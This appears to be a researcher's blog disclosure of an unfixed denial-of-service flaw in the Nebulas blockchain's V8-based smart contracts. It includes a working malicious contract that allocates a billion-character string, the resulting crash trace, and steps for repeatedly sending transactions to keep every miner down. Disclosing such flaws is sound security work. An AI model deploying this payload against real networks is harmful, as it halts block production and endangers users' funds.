Welcome to our next episode. Today we close Nebulas. The project failed to fix the vulnerabilities we reported previously, there was no official response to our attempts to contact its team. In at least one case a moderator of its subreddit deleted our post. Their reasoning was that our article slandered the project. It did not, there was no false statement in it. The moderator in question should read the today's report and ask himself whether a serious project would put into production such an obviously untested code and thus risk users' funds. It does not make sense to continue any research related to this project despite the fact that we are aware of other areas in the code that are likely to be found critically exploitable if we examined them thoroughly.
Meanwhile, KuCoin was hacked. Millions and millions and millions ... have changed hands. Nothing unusual in this space.
Today's vulnerability has not been fixed yet, hence it does not need an additional proof of knowledge.
Big String, Nothing Else Needed
Bug type: DoS
Bug severity: 7/10
Scenario 1
Attacker cost: low
In this scenario, the attacker's goal is to halt the network. The attacker creates and propagates a series of specially crafted transactions, which cause all miners in the network to crash. When this happens, the network becomes dysfunctional as no new blocks are being created. As long as the attacker is creating and propagating malicious transactions, the network will not recover, unless miners upgrade to a fixed version of the node.
Description
The codebase state at the time of writing can be seen here.
Nebulas implements smart contract functionality leveraging V8 JavaScript engine from Google. This allows users of Nebulas to deploy smart contracts written in JavaScript. However, V8 by itself is not suitable for consensus critical operation. This is why Nebulas implemented several restrictions on the top of V8. The implemented restrictions are not sufficient, however, as we demonstrate below.
At the time of writing, the V8 engine used by Nebulas was of version 6.2.414.40.
Malicious Contact Code
Let's consider the following contract code:
"use strict";
class BaseContract {
constructor() {
this.__contractName = "doomish";
}
init() {
}
doom() {
let s = "1".repeat(1000000000);
return s;
}
}
module.exports = BaseContract
For some reason, the V8 engine used by Nebulas cannot handle this code when doom() method is called. Subsequently to the call, the engine crashes inside of EvacuateNewSpaceVisitor::AllocateTargetObject(). We haven't analyzed where exactly and why the crash happens in V8. For our purpose, we don't need to understand the root cause entirely. It is enough for us that we know how to exploit this vulnerability and crash the Nebulas mining node. Perhaps the specific version of the V8 engine has some limitation on how much memory can be consumed and the construction of the very long string reaches beyond that point.
The crash prints the following report on the console:
#
# Fatal error in , line 0
# API fatal error handler returned after process out of memory
#
==== C stack trace ===============================
/usr/lib/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0xe) [0x7fabbb1e645e]
/usr/lib/libv8_libplatform.so(+0x84b5) [0x7fabbb1f64b5]
/usr/lib/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0xdd) [0x7fabbb1e4e6d]
/usr/lib/libv8.so(+0x450f13) [0x7fabb7f37f13]
/usr/lib/libv8.so(v8::internal::EvacuateNewSpaceVisitor::AllocateTargetObject(v8::internal::HeapObject*, int, v8::internal::HeapObject**)+0xcd) [0x7fabb82fe1dd]
/usr/lib/libv8.so(v8::internal::EvacuateNewSpaceVisitor::Visit(v8::internal::HeapObject*, int)+0x9b) [0x7fabb82fe0ab]
/usr/lib/libv8.so(void v8::internal::LiveObjectVisitor::VisitBlackObjectsNoFail<v8::internal::EvacuateNewSpaceVisitor, v8::internal::MajorNonAtomicMarkingState>(v8::internal::MemoryChunk*, v8::internal::MajorNonAtomicMarkingState*, v8::internal::EvacuateNewSpaceVisitor*, v8::internal::LiveObjectVisitor::IterationMode)+0x4e4) [0x7fabb82ee714]
/usr/lib/libv8.so(v8::internal::FullEvacuator::RawEvacuatePage(v8::internal::Page*, long*)+0x59) [0x7fabb82ee159]
/usr/lib/libv8.so(v8::internal::Evacuator::EvacuatePage(v8::internal::Page*)+0x53) [0x7fabb82ee023]
/usr/lib/libv8.so(v8::internal::PageEvacuationTask::RunInParallel()+0x82) [0x7fabb8304262]
/usr/lib/libv8.so(v8::internal::ItemParallelJob::Task::RunInternal()+0xa) [0x7fabb82c561a]
/usr/lib/libv8_libplatform.so(v8::platform::WorkerThread::Run()+0x19) [0x7fabbb1fb5d9]
/usr/lib/libv8_libbase.so(+0x11f2d) [0x7fabbb1e7f2d]
/lib/x86_64-linux-gnu/libpthread.so.0(+0x76db) [0x7fabba2686db]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x3f) [0x7fabb9f9188f]
Received signal 4 ILL_ILLOPN 7fabbb1e764f
From this we know that V8_Fatal() was called due to detected out of memory condition.
Exploitation
In order to exploit, the attacker deploys the contract above. Then the attacker creates a series of transactions calling the doom() method inside of the contract. Each such transaction has a good chance to crash the miner that attempts to execute the malicious transaction in order to add it to a new block. For some reason, we do not know the details again, not every miner crashed the first time we tested. It seems that the miner crashes only after it tries to reuse the V8 engine after it executed the malicious transaction. So it seems like the first execution of the doom() method has certain chance to damage the V8 engine and only the subsequent use of the engine actually causes the crash. Again, the details are not so important here, because the attacker can just create several malicious transactions and thus guarantee that all miners in the network are going to be crashed. This is how we managed to crash every miner in our local testing network. Another reason why the attacker wants to create many malicious transactions is to prevent new or restarted miners to be able to operate. Hence the attacker is expected to publish new malicious transactions every so often to make sure that the network will not make any progress for as long as the attacker wants.